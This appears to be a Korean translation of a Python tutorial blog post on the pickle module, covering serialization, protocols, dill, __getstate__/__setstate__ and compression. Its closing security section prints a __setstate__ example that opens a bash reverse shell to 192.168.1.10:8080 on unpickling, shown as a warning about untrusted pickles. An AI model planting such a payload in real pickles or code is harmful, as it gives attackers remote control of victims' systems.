본문 바로가기
파이썬

[Python] pickle 모듈 - 파이썬에서 객체를 영속화하는 방법

by 책 읽는 개발자_테드 2022. 9. 4.
반응형

다음 글(https://realpython.com/python-pickle-module)을 번역, 정리한 글입니다.

 

목차

· 파이썬의 직렬화

· 파이썬 pickle 모듈 내부

· 파이썬 pickle 모듈의 프로토콜 포맷

· Picklable and Unpicklable Types

· Pickled Objects의 압축

· 파이썬 pickle 모듈의 보안 문제


개발을 하다보면 복잡한 객체 계층을 네트워크를 통해 전달하거나, 디스크나 데이터베이스에 저장해야할 수 있다. 이를 위해 직렬화라 불리는 과정을 사용할 수 있고, 파이썬에서는 표준 라이브러리로 pickle 모듈을 제공한다.

 

파이썬의 직렬화

직렬화는 데이터 구조를 저장하거나 네트워크로 전송할 수 있는 선형으로 변환하는 방법이다. 파이썬에서는 직렬화로 복잡한 객체 구조를 가져와서 디스크에 저장하거나 네트워크로 전송할 수 있는 바이트 스트림으로 변환한다.

 

이러한 과정은 마샬링(marshalling)이라고 부르기도 한다. 반대로 바이트 스트림을 다시 데이터 구조로 변환하는 것을 역직렬화 또는 언마샬링이라 부른다. 직렬화는 많은 상황에서 사용될 수 있다.

- ex) 훈련 단계 후 신경망의 상태를 저장하여 나중에 훈련을 다시 할 필요 없이 사용할 수 있도록 하는 것

 

파이썬은 직렬화·역직렬화를 위한 표준 라이브러리로 세 개의 모듈을 제공한다. marshaljsonpickle

- 파이썬은 XML 또한 지원하고, 이를 통해 객체를 직렬화할 수도 있다.

 

marshal은 셋 중 가장 오래된 모듈이다. 이것은 주로 컴파일된 바이트코드 또는 인터프리터가 파이썬 모듈을 가져올 떄 얻는 .pyc 파일을 읽고 쓰기 위해 존재한다. 때문에 marshal로 객체를 직렬화할 수 있더라도, 이를 추천하지는 않는다.

 

json 모듈은 셋 중 가장 최신의 모듈이다. 이를 통해 표준 JSON 파일로 작업을 할 수 있다. json 모듈을 통해 다양한 표준 파이썬 타입(bool, dict, int, float, list, string, tuple, None)을 직렬화, 역직렬화할 수 있다. json은 사람이 읽을 수 있고, 언어에 의존적이지 않다는 장점이 있다.

 

pickle 모듈은 파이썬에서 객체를 직렬화 또는 역직렬화하는 또 다른 방식이다. json 모듈과는 다르게 객체를 바이너리 포맷으로 직렬화한다. 이는 결과를 사람이 읽을 수 없다는 것을 의미한다. 그러나 더 빠르고, 사용자 커스텀 객체 등 더 다양한 파이썬 타입으로 동작할 수 있음을 의미한다.

 

사용할 모듈을 결정하는 세 가지의 일반적인 가이드라인이 존재한다.

1. marshal 모듈을 사용하지말자. 이것은 주로 인터프리터에 의해 사용되고, 공식 문서는 파이썬 유지 관리자(maintainer)가 이전 버전과 호환되지 않는 방식으로 포맷을 수정할 수 있다고 경고한다.

2. json 모듈와 XML은 다른 언어 또는 사람이 읽을 수 있는 포맷과의 상호 운용성이 필요한 경우 좋은 선택이다.

3. 파이썬 pickle 모듈은 나머지 모든 사용 사례에서 더 나은 선택이다. 만약 사람이 읽을 수 있는 포맷이나 표준 상호 운용 가능한 포맷이 필요하지 않거나 커스텀 객체를 직렬화해야 하는 경우 pickle을 사용하자.

 

파이썬 pickle 모듈 내부

파이썬 pickle 모듈은 기본적으로 네 가지 메서드로 구성된다.

1. pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)

2. pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)

3. pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

4. pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

 

처음 두 개의 메서드는 피클링 프로세스 동안에 사용된다. 다른 두 개의 메서드는 언피클링 동안에 사용된다.

 

dump()는 직렬화 결과를 포함하는 파일을 생성하고, dumps()는 문자열을 반환하는 유일한 차이가 있다. 둘을 구별하려면 함수 이름 끝에 s가 string을 의미한다는 것을 기억하는 것이 좋다. 

 

load() 및 loads()에도 동일한 개념이 적용된다. load()는 파일을 읽어서 언피클링 프로스세를 시작하고, loads()는 문자열에서 동작한다.

 

아래 예제는 클래스를 인스턴스화하고, 인스턴스를 피클하여 일반 문자열을 얻는 방법을 보여준다. 클래스를 피클링한 후 피클된 문자열에 영향을 주지 않고 해당 속성 값을 변경할 수 있다.

import pickle


class example_class:
    a_number = 35
    a_string = "문자열"
    a_list = [1, 2, 3]
    a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
    a_tuple = (22, 23)


obj = example_class()

pickled_obj = pickle.dumps(obj)  # 객체 피클링
print(f"피클드 오브젝트: {pickled_obj}\n")

obj.a_number = None
obj.a_string = None
obj.a_list = None

unpickled_obj = pickle.loads(pickled_obj)  # 객체 언피클링
print(f"언피클드 오브젝트: {unpickled_

결과

 

파이썬 pickle 모듈의 프로토콜 포맷

pickle 모듈은 파이썬 전용이며, pickle 프로세스의 결과는 다른 파이썬 프로그램에서만 읽을 수 있다. 그러나 파이썬으로 작업하는 경우에도 pickle 모듈이 시간이 지남에 따라 진화했다는 것을 아는 것이 중요하다.

 

따라서 특정 버전의 파이썬으로 객체를 피클했다면, 이전 버전에서는 피클을 해제하지 못할 수 있다. 호환성은 피클링 프로세스에 사용한 프로토콜 버전에 따라 다르다.

 

현재 파이썬에는 pickle 모듈이 사용할 수 있는 6가지 프로토콜이 있다. 버전이 높을수록 언피클링을 위한 최신 파이썬 인터프리터가 필요하다.

1. Protocol version 0, 첫 번째 버전으로 다른 프로토콜들과 다르게 사람이 읽을 수 있다.

2. Protocol version 1, 첫 번째 바이너리 포맷이다.

3. Protocol version 2, 파이썬 2.3에 도입되었다.

4. Protocol version 3, 파이썬 3.0에 도입되었다. 파이썬 2.x으로 언피클 할 수 없다.

5. Protocol version 4, 파이썬 3.4에 도입되었다. 더 넓은 범위의 객체 크기와 타입을 지원하면 파이썬 3.8 부터 기본 프로토콜이다.

6. Protocol version 5, 파이썬 3.8에 도입되었다. 대역 외 데이터에 대한 지원과 대역 내 데이터에 대한 향상된 속도가 특징이다.

 

특정 프로토콜을 선택하려면 load(), loads(), dump(), dumps()를 호출할 때 프로토콜 버전을 지정해야 한다. 프로토콜을 지정하지 않으면 인터프리터는 pickle.HIGHEST_PROTOCOL 속성에 지정된 기본 버전을 사용한다.

- 인터프리터가 지원하는 가장 높은 프로토콜을 식별하기 위해 pickle.HIGHEST_PROTOCOL 속성 값을 확인할 수 있다. 

 

Picklable and Unpicklable Types

 모든 객체를 피클링할 수 있는 건 아니다. 데이터베이스 연결, 열린 네트워크 소켓, 실행 중인 스레드 등은 불가능하다. 피클링할 수 없는 물체에 직면 했다면 몇 가지 조치를 취할 수 있다.

 

첫 번째 옵션은 dill과 같은 서드 파티 라이브러리를 사용하는 것이다. dill 모듈은 pickle의 기능을 확장한다. 공식 문서에 따르면 yields가 포함된 함수, 중첩 함수, 람다 등 일반적이지 않은 타입을 직렬화할 수 있다.

- dill은 파이썬 인터프리터의 표준 라이브러리에 포함되지 않으며, 일반적으로 pickle 보다 느리다.

 

아래 처럼 람다를 피클링하면, 

import pickle

square = lambda x : x * x
my_pickle = pickle.dumps(square)

 

오류가 발생한다.

파이썬 pickle 모듈을 dill로 교체하면,

import dill

square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)

 

람다 함수가 정상적으로 직렬화 되는 걸 확인할 수 있다. 

 

dill을 사용하면 전체 인터프리터 세션을 직렬화할 수도 있다.

 

인터프리터의 새 인스턴스를 시작하고, test.pkl 파일을 로드하면 마지막 세션을 복원할 수 있다.

 

dill을 사용하면 pickle 보다 더 넓은 범위의 객체를 직렬화할 수 있지만, 모든 직렬화 문제를 해결할 수는 없다. 예를 들어 데이터베이스 연결을 포함하는 객체를 직렬화 할 수 없다. 이 경우 직렬화 프로세스에서 객체를 제외하고 객체가 직렬화 해제된 후 연결을 다시 초기화하는 방식으로 문제를 해결 할 수 있다.

 

__getstate__()를 사용하면 피클링 프로세스에 포함되어야 하는 항목을 정의할 수 있다. __getstate__()를 재정의하지 않으면 기본 인스턴스의 __dict__가 사용된다. 

 

다음 예제에서는 여러 속성이 있는 클래스를 정의하고, __getstate()__를 사용하여 직렬화에서 하나의 속성을 제외한다.

import pickle


class PickleTarget:
    def __init__(self):
        self.int_var = 35
        self.str_var = "test"
        self.lambda_var = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['lambda_var']
        return attributes


pickling_target_obj = PickleTarget()
pickled = pickle.dumps(pickling_target_obj)
unpickled = pickle.loads(pickled)

print(unpickled.__dict__)

결과

 

__setstate__()를 사용하면, 언피클링 과정 중에 추가적인 초기화 작업을 수행할 수 있다. 

import pickle


class PickleTarget:
    def __init__(self):
        self.int_var = 35
        self.str_var = "test"
        self.lambda_var = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['lambda_var']
        return attributes

    def __setstate__(self, state):
        self.__dict__ = state
        self.lambda_var = lambda x: x * x


pickling_target_obj = PickleTarget()
pickled = pickle.dumps(pickling_target_obj)
unpickled = pickle.loads(pickled)

print(unpickled.__dict__)

결과

 

Pickled Objects의 압축

피클 데이터 포맷은 객체 구조의 압축된 이진 표현이지만, bzipp2 또는 gzip으로 압축하여 피클된 문자열을 최적화할 수 있다. bzip2로 피클링한 문자열을 압축하려면, 표준 라이브러리에서 제공하는 bz2 모듈을 사용할 수 있다.

 

다음 예제에서는 문자열을 가져와서 피클한 다음 bz2 라이브러리를 사용하여 압축한다.

import pickle
import bz2

str_var = "삶은 소유물이 아니라 순간 순간의 있음이다 영원한 것이 어디 있는가 모두가 한때일뿐 그러나 그 한때를 최선을 다해 최대한으로 살수 있어야 한다 삶은 놀라운 신비요 아름다움이다. "
pickled = pickle.dumps(str_var)
compressed = bz2.compress(pickled)
print(f"not_compressed: {len(str_var)}")
print(f"compressed: {len(compressed)}")

결과

- 압축을 사용할 때 파일이 작을수록 프로세스 속도가 느려진다는 점을 명심하자.

 

 

파이썬 pickle 모듈의 보안 문제

직렬화 프로세스는 객체의 상태를 디스크에 저장하거나, 네트워크를 통해 전송해야 할 때 매우 편리하다. 그러나 파이썬 pickle 모듈은 안전하지 않다. 앞서 다룬 __setstate__()은 unpickling 동안 더 많은 초기화를 수행할 수 있지만, unpickling 프로세스 중에 임의의 코드를 실행하는 데 사용할 수도 있다.

 

이러한 위험을 줄이기 위한 다음과 같은 방법이 존재한다.

1. 신뢰할 수 없는 소스에서 가져오거나 안전하지 않은 네트워크를 통해 전송되는 데이터를 해제하지 않는다.

2. 중간자 공격(man in the middle attack)을 방지하기 위해 hmac과 같은 라이브러리를 사용하여 데이터에 서명하고 변조되지 않았는지 확인한다.

 

다음 예는 변조된 pickle을 언피클링하면 작동하는 원격 셸을 제공하는 경우에도 공격자에게 시스템을 노출시킬 수 있음을 보여준다.

import os
import pickle


class PickleTarget:
    def __init__(self):
        pass

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, state):
        # 공격이 192.168.1.10에서 들어온다.
        # 공격자는 8080 포트에서 수신 대기 중이다.
        os.system('/bin/bash -c /bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1')


pickling_target_obj = PickleTarget()
pickled = pickle.dumps(pickling_target_obj)
unpickled = pickle.loads(pickled)

 

위 예제는 언피클링 프로세스는 Bash 명령을 실항하여 포트 8080에서 192.168.1.10 시스템에 대한 원격 셸을 여는 __setstate__()를 실행한다.

 

반응형

댓글